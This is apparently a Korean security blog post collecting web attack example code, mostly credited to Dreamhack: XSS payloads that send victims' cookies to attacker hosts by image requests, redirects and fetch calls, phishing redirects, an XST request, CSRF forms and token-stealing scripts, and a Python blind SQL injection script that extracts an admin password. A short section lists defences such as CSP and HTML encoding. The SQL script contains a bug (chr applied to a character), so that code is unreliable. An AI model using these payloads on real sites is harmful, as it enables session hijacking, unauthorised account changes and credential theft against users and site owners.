끄적끄적

[Exploit] 예제 코드 본문

Security/Web

[Exploit] 예제 코드

Go0G 2022. 3. 3. 19:05

개요

예제코드는 지속적으로 업데이트 됩니다. 


XSS

∴ VueJS, AngularJS와 같은 Client Side Templete을 사용하는 경우, expression을 사용하여 XSS가 발현될 수 있음

 

∴ Client Side에서 replace 함수를 사용하여 XSS를 대응하고자 하는 경우, replace 함수에 정규 표현식을 사용하지 않을 시 XSS 우회 가능

O: str.replace(/</g, "&lt;"): str 문자열 전체에서 "<" 문자열을 "&lt;"로 인코딩

X: str.replace('<", "&lt;") str 문자열에서 최초 "<" 문자열을 "&lt;"로 인코딩

 

WAF에 의해 특정 태그 사용이 불가능할 경우 Intruder를 이용 [Tag], [Event]는 큰 트래픽을 발생시키지 않음, 사용가능한 Event 발견 후 관련 페이로드를 검색하여 공격 구문 만들기

Intruder 사용 시 스페이스바 URL 인코딩 필수(%20)

쿠키 및 세션 탈취

<script>
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
//출처: Dreamhack
<img src=x onerror=location.href="[Attacker URL]?"+document.cookie;>
<svg/onload=location["href"]="[Attacker URL]"+document["cookie"]>

페이지 변조

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
//출처: Dreamhack

위치 이동

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
//출처: Dreamhack

POST 방식

<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

XST(Cross-Site Tracing)

XSS와 TRACE method가 발현될 경우 사용

  • Cookie에 httponly 설정이 되어 있어 XSS만으로 타인의 세션을 탈취할 수 없을 때 유용
<script>
  var xmlhttp = new XMLHttpRequest();
  var url = 'http://127.0.0.1/';

  xmlhttp.withCredentials = true; // send cookie header(send CORS Cookie)
  xmlhttp.open('TRACE', url, false);
  xmlhttp.send();
</script>

<a> 태그 내에 URL이 입력되는 경우

http://foo?&apos;-alert(1)-&apos;
http://foo?'-alert(1)-'
http://foo?'alert(1)'

대응방안

더보기

대응방법

[헤더]

1. CSP(Content Security Policy) 사용: 설정에 따라 특정 도메인, 콘텐츠만을 허용하여 타 사용자(공격자)가 다른 Javscript 출처로 업로드 시 해당 스크립트 무시

 - Header에 직접 추가

 - <meta>태그로 추가

2. X-XSS-Protection 사용: 웹 브라우저 엔진 내에서 XSS 구문을 감지하여 해당 구문을 삭제

3. X-Content-Type-Options 사용: 웹 브라우저가 Content-Type외 다른 타입으로 구문이 분석되는 것을 막음(Javscript의 MIME 타입은 "application/javascript")

 

[백엔드]

1. HTML Entitiy Encoding 적용

 - JSP: JSTL(JSP Standard Tag Library)을 사용하는 경우, <c:out> 태그 사용

 - PHP: htmlentities(), htmlspecialchars()의 함수 사용

 - Nodejs: html-entities 라이브러리 install 후, encode() 함수 사용

 - ASP: Server Obeject의 HTMLEncode() 함수 사용

 - Python: cgi 모듈의 escape() 함수 사용

 

2. 태그를 사용해야하는 경우, 언어별로 제공하는 라이브러리 사용

- Jsoup 라이브러리

- Lucy-xss 라이브러리 등.

 

[프론트 엔드]

1. JavaScript Code내 HTML Entity Encoding을 적용하는 로직을 삽입

 - mustache.js의 escapeHtml 메소드 사용

 - javscript의 Replace 함수를 사용하여 인코딩 적용(정규표현식을 이용할 것)

 - HTML Encoding 함수를 만들어서 적용

    function EntitiesHtml(string) {
         return String(string).replace(/&/g, '&amp;').replace(/>/g, '&gt;').replace(/</g, '&lt;').replace(/"/g, '&quot;');
     }

 

2. JavaScript에서 사용자의 입력에 대한 출력을 문자열로써 처리

 - JQuery를 사용하는 경우, ajax를 통해 전송받은 데이터를 .text 메소드를 사용하여 처리(.html 메소드 사용 금지)


CSRF

GET 방식

<img src="/sendmoney?to=dreamhack&amount=1337">
//출처: Dreamhack

fetch 함수: XMLHttpRequset 이후에 출시된 HTTP 요청 전송 기능을 제공하는 Web API

<img src=x onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
//출처: Dreamhack
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
//출처: Dreamhack

POST 방식으로 전송될 경우 Javascript 필요

외부에서 작성한 Javasciprt 코드 로드(글자수 제한이 있을 경우 사용)

<script src="[Attacker URL]">

form 태그 사용

<form action="https://[vulnerable-website.com]/[path]" method="POST">
    <input type="hidden" name="id" value="test" />
    <input type="hidden" name="password" value="1234" />
</form>
<script>
    document.forms[0].submit();
</script>

CSRF Token 우회

  • POST Requset를 GET Requset로 CSRF Token을 우회가 가능한지 확인
  • 서버측에서 CSRF 토큰을 검증하는지에 대해서 확인 -> 토큰 값 없이 전송
  • 서버측에서 CSRF 토큰과 세션을 검증하는지 확인 -> 자신의 토큰 값으로 CSRF 구성

CSRF Token이 Response 내에 존재할 경우 해당 값을 저장 후 전송

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse; //GET requset가 완료되면 onload에 의해 실행
req.open('get','/my-account',true); //CSRF Token이 포함된 Response 요청, 매개변수 true는 비동기 요청
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; //name이 "csrf"인 값의 value 추출
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true); //Attack URL에 POST 요청
    changeReq.send('csrf='+token+'&email=test@test.com') //POST의 Body로 전송될 값
};
</script>

GET 요청으로 Cookie 값 포이즈닝 후 전송

"img src"에 대한 요청이 선행적으로 이루어지고 <form> 태그가 실행됨

<form action="https://acb11fc11f6f5b1fc00b8d6300700092.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="etes&#64;sc&#46;akr123" />
  <input type="hidden" name="csrf" value="rgd9rPuwuJSCmBvTDqdFVRU8Zz1Xjw67" />
  <input type="submit" value="Submit request" />
</form>
<img src="https://acb11fc11f6f5b1fc00b8d6300700092.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=rgd9rPuwuJSCmBvTDqdFVRU8Zz1Xjw67" onerror="document.forms[0].submit();"/>

 

 


Blind SQL Injection

Requset Module

GET 방식

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
#출처: Dreamhack

POST 방식

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)
#출처: Dreamhack

String Method를 사용한 Blind SQL Injection

import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")
#출처: Dreamhack

Reference

Comments